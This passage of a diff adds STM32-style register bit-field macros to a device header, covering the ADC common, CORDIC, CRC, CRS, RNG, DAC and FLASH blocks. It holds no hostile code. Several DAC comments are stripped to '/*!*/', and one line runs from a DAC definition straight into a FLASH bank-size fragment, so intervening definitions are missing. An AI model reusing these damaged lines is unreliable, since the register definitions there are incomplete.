ADC_CSR_AWD3_SLV_Msk /*!< ADC multimode slave analog watchdog 3 flag */ +#define ADC_CSR_JQOVF_SLV_Pos (26U) +#define ADC_CSR_JQOVF_SLV_Msk (0x1UL << ADC_CSR_JQOVF_SLV_Pos) /*!< 0x04000000 */ +#define ADC_CSR_JQOVF_SLV ADC_CSR_JQOVF_SLV_Msk /*!< ADC multimode slave group injected contexts queue overflow flag */ + +/******************** Bit definition for ADC_CCR register *******************/ +#define ADC_CCR_DUAL_Pos (0U) +#define ADC_CCR_DUAL_Msk (0x1FUL << ADC_CCR_DUAL_Pos) /*!< 0x0000001F */ +#define ADC_CCR_DUAL ADC_CCR_DUAL_Msk /*!< ADC multimode mode selection */ +#define ADC_CCR_DUAL_0 (0x01UL << ADC_CCR_DUAL_Pos) /*!< 0x00000001 */ +#define ADC_CCR_DUAL_1 (0x02UL << ADC_CCR_DUAL_Pos) /*!< 0x00000002 */ +#define ADC_CCR_DUAL_2 (0x04UL << ADC_CCR_DUAL_Pos) /*!< 0x00000004 */ +#define ADC_CCR_DUAL_3 (0x08UL << ADC_CCR_DUAL_Pos) /*!< 0x00000008 */ +#define ADC_CCR_DUAL_4 (0x10UL << ADC_CCR_DUAL_Pos) /*!< 0x00000010 */ + +#define ADC_CCR_DELAY_Pos (8U) +#define ADC_CCR_DELAY_Msk (0xFUL << ADC_CCR_DELAY_Pos) /*!< 0x00000F00 */ +#define ADC_CCR_DELAY ADC_CCR_DELAY_Msk /*!< ADC multimode delay between 2 sampling phases */ +#define ADC_CCR_DELAY_0 (0x1UL << ADC_CCR_DELAY_Pos) /*!< 0x00000100 */ +#define ADC_CCR_DELAY_1 (0x2UL << ADC_CCR_DELAY_Pos) /*!< 0x00000200 */ +#define ADC_CCR_DELAY_2 (0x4UL << ADC_CCR_DELAY_Pos) /*!< 0x00000400 */ +#define ADC_CCR_DELAY_3 (0x8UL << ADC_CCR_DELAY_Pos) /*!< 0x00000800 */ + +#define ADC_CCR_DMACFG_Pos (13U) +#define ADC_CCR_DMACFG_Msk (0x1UL << ADC_CCR_DMACFG_Pos) /*!< 0x00002000 */ +#define ADC_CCR_DMACFG ADC_CCR_DMACFG_Msk /*!< ADC multimode DMA transfer configuration */ + +#define ADC_CCR_MDMA_Pos (14U) +#define ADC_CCR_MDMA_Msk (0x3UL << ADC_CCR_MDMA_Pos) /*!< 0x0000C000 */ +#define ADC_CCR_MDMA ADC_CCR_MDMA_Msk /*!< ADC multimode DMA transfer enable */ +#define ADC_CCR_MDMA_0 (0x1UL << ADC_CCR_MDMA_Pos) /*!< 0x00004000 */ +#define ADC_CCR_MDMA_1 (0x2UL << ADC_CCR_MDMA_Pos) /*!< 0x00008000 */ + +#define ADC_CCR_CKMODE_Pos (16U) +#define ADC_CCR_CKMODE_Msk (0x3UL << ADC_CCR_CKMODE_Pos) /*!< 0x00030000 */ +#define ADC_CCR_CKMODE ADC_CCR_CKMODE_Msk /*!< ADC common clock source and prescaler (prescaler only for clock source synchronous) */ +#define ADC_CCR_CKMODE_0 (0x1UL << ADC_CCR_CKMODE_Pos) /*!< 0x00010000 */ +#define ADC_CCR_CKMODE_1 (0x2UL << ADC_CCR_CKMODE_Pos) /*!< 0x00020000 */ + +#define ADC_CCR_PRESC_Pos (18U) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC common clock prescaler, only for clock source asynchronous */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22U) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< ADC internal path to VrefInt enable */ +#define ADC_CCR_TSEN_Pos (23U) +#define ADC_CCR_TSEN_Msk (0x1UL << ADC_CCR_TSEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_TSEN ADC_CCR_TSEN_Msk /*!< ADC internal path to temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24U) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< ADC internal path to battery voltage enable */ + +/******************** Bit definition for ADC_CDR register *******************/ +#define ADC_CDR_RDATA_MST_Pos (0U) +#define ADC_CDR_RDATA_MST_Msk (0xFFFFUL << ADC_CDR_RDATA_MST_Pos) /*!< 0x0000FFFF */ +#define ADC_CDR_RDATA_MST ADC_CDR_RDATA_MST_Msk /*!< ADC multimode master group regular conversion data */ + +#define ADC_CDR_RDATA_SLV_Pos (16U) +#define ADC_CDR_RDATA_SLV_Msk (0xFFFFUL << ADC_CDR_RDATA_SLV_Pos) /*!< 0xFFFF0000 */ +#define ADC_CDR_RDATA_SLV ADC_CDR_RDATA_SLV_Msk /*!< ADC multimode slave group regular conversion data */ + + +/******************************************************************************/ +/* */ +/* CORDIC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CORDIC_CSR register *****************/ +#define CORDIC_CSR_FUNC_Pos (0U) +#define CORDIC_CSR_FUNC_Msk (0xFUL << CORDIC_CSR_FUNC_Pos) /*!< 0x0000000F */ +#define CORDIC_CSR_FUNC CORDIC_CSR_FUNC_Msk /*!< Function */ +#define CORDIC_CSR_FUNC_0 (0x1UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000001 */ +#define CORDIC_CSR_FUNC_1 (0x2UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000002 */ +#define CORDIC_CSR_FUNC_2 (0x4UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000004 */ +#define CORDIC_CSR_FUNC_3 (0x8UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000008 */ +#define CORDIC_CSR_PRECISION_Pos (4U) +#define CORDIC_CSR_PRECISION_Msk (0xFUL << CORDIC_CSR_PRECISION_Pos) /*!< 0x000000F0 */ +#define CORDIC_CSR_PRECISION CORDIC_CSR_PRECISION_Msk /*!< Precision */ +#define CORDIC_CSR_PRECISION_0 (0x1UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000010 */ +#define CORDIC_CSR_PRECISION_1 (0x2UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000020 */ +#define CORDIC_CSR_PRECISION_2 (0x4UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000040 */ +#define CORDIC_CSR_PRECISION_3 (0x8UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000080 */ +#define CORDIC_CSR_SCALE_Pos (8U) +#define CORDIC_CSR_SCALE_Msk (0x7UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000700 */ +#define CORDIC_CSR_SCALE CORDIC_CSR_SCALE_Msk /*!< Scaling factor */ +#define CORDIC_CSR_SCALE_0 (0x1UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000100 */ +#define CORDIC_CSR_SCALE_1 (0x2UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000200 */ +#define CORDIC_CSR_SCALE_2 (0x4UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000400 */ +#define CORDIC_CSR_IEN_Pos (16U) +#define CORDIC_CSR_IEN_Msk (0x1UL << CORDIC_CSR_IEN_Pos) /*!< 0x00010000 */ +#define CORDIC_CSR_IEN CORDIC_CSR_IEN_Msk /*!< Interrupt Enable */ +#define CORDIC_CSR_DMAREN_Pos (17U) +#define CORDIC_CSR_DMAREN_Msk (0x1UL << CORDIC_CSR_DMAREN_Pos) /*!< 0x00020000 */ +#define CORDIC_CSR_DMAREN CORDIC_CSR_DMAREN_Msk /*!< DMA Read channel Enable */ +#define CORDIC_CSR_DMAWEN_Pos (18U) +#define CORDIC_CSR_DMAWEN_Msk (0x1UL << CORDIC_CSR_DMAWEN_Pos) /*!< 0x00040000 */ +#define CORDIC_CSR_DMAWEN CORDIC_CSR_DMAWEN_Msk /*!< DMA Write channel Enable */ +#define CORDIC_CSR_NRES_Pos (19U) +#define CORDIC_CSR_NRES_Msk (0x1UL << CORDIC_CSR_NRES_Pos) /*!< 0x00080000 */ +#define CORDIC_CSR_NRES CORDIC_CSR_NRES_Msk /*!< Number of results in WDATA register */ +#define CORDIC_CSR_NARGS_Pos (20U) +#define CORDIC_CSR_NARGS_Msk (0x1UL << CORDIC_CSR_NARGS_Pos) /*!< 0x00100000 */ +#define CORDIC_CSR_NARGS CORDIC_CSR_NARGS_Msk /*!< Number of arguments in RDATA register */ +#define CORDIC_CSR_RESSIZE_Pos (21U) +#define CORDIC_CSR_RESSIZE_Msk (0x1UL << CORDIC_CSR_RESSIZE_Pos) /*!< 0x00200000 */ +#define CORDIC_CSR_RESSIZE CORDIC_CSR_RESSIZE_Msk /*!< Width of output data */ +#define CORDIC_CSR_ARGSIZE_Pos (22U) +#define CORDIC_CSR_ARGSIZE_Msk (0x1UL << CORDIC_CSR_ARGSIZE_Pos) /*!< 0x00400000 */ +#define CORDIC_CSR_ARGSIZE CORDIC_CSR_ARGSIZE_Msk /*!< Width of input data */ +#define CORDIC_CSR_RRDY_Pos (31U) +#define CORDIC_CSR_RRDY_Msk (0x1UL << CORDIC_CSR_RRDY_Pos) /*!< 0x80000000 */ +#define CORDIC_CSR_RRDY CORDIC_CSR_RRDY_Msk /*!< Result Ready Flag */ + +/******************* Bit definition for CORDIC_WDATA register ***************/ +#define CORDIC_WDATA_ARG_Pos (0U) +#define CORDIC_WDATA_ARG_Msk (0xFFFFFFFFUL << CORDIC_WDATA_ARG_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_WDATA_ARG CORDIC_WDATA_ARG_Msk /*!< Input Argument */ + +/******************* Bit definition for CORDIC_RDATA register ***************/ +#define CORDIC_RDATA_RES_Pos (0U) +#define CORDIC_RDATA_RES_Msk (0xFFFFFFFFUL << CORDIC_RDATA_RES_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_RDATA_RES CORDIC_RDATA_RES_Msk /*!< Output Result */ + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0U) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0U) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0U) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3U) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5U) +#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7U) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0U) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0U) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0U) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1U) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2U) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3U) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5U) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6U) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7U) +#define CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos (8U) +#define CRS_CR_TRIM_Msk (0x3FUL << CRS_CR_TRIM_Pos) /*!< 0x00003F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0U) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16U) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24U) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28U) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31U) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0U) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1U) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2U) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3U) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8U) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9U) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10U) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15U) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16U) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0U) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1U) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2U) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3U) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2U) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3U) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5U) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7U) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8U) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12U) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13U) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16U) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20U) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30U) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31U) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0U) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1U) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2U) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5U) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6U) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + +/******************** Bits definition for RNG_NSCR register *******************/ +#define RNG_NSCR_EN_OSC1_Pos (0U) +#define RNG_NSCR_EN_OSC1_Msk (0x7UL << RNG_NSCR_EN_OSC1_Pos) /*!< 0x00000007 */ +#define RNG_NSCR_EN_OSC1 RNG_NSCR_EN_OSC1_Msk +#define RNG_NSCR_EN_OSC2_Pos (3U) +#define RNG_NSCR_EN_OSC2_Msk (0x7UL << RNG_NSCR_EN_OSC2_Pos) /*!< 0x00000038 */ +#define RNG_NSCR_EN_OSC2 RNG_NSCR_EN_OSC2_Msk +#define RNG_NSCR_EN_OSC3_Pos (6U) +#define RNG_NSCR_EN_OSC3_Msk (0x7UL << RNG_NSCR_EN_OSC3_Pos) /*!< 0x000001C0 */ +#define RNG_NSCR_EN_OSC3 RNG_NSCR_EN_OSC3_Msk +#define RNG_NSCR_EN_OSC4_Pos (9U) +#define RNG_NSCR_EN_OSC4_Msk (0x7UL << RNG_NSCR_EN_OSC4_Pos) /*!< 0x00000E00 */ +#define RNG_NSCR_EN_OSC4 RNG_NSCR_EN_OSC4_Msk +#define RNG_NSCR_EN_OSC5_Pos (12U) +#define RNG_NSCR_EN_OSC5_Msk (0x7UL << RNG_NSCR_EN_OSC5_Pos) /*!< 0x00007000 */ +#define RNG_NSCR_EN_OSC5 RNG_NSCR_EN_OSC5_Msk +#define RNG_NSCR_EN_OSC6_Pos (15U) +#define RNG_NSCR_EN_OSC6_Msk (0x7UL << RNG_NSCR_EN_OSC6_Pos) /*!< 0x00038000 */ +#define RNG_NSCR_EN_OSC6 RNG_NSCR_EN_OSC6_Msk + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0U) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk + +/******************** RNG Nist Compliance Values ******************************/ +#define RNG_CR_NIST_VALUE (0x00F00E00U) +#define RNG_HTCR_NIST_VALUE (0x6A91U) +#define RNG_NSCR_NIST_VALUE (0x3AF66U) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0U) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14U) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16U) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30U) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0U) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) /*!< FLASH Bank Size */ +#define FLASH_SECTOR_SIZE 0x2000U /*!< Flash Sector Size: 8 KB */ + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0U) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define 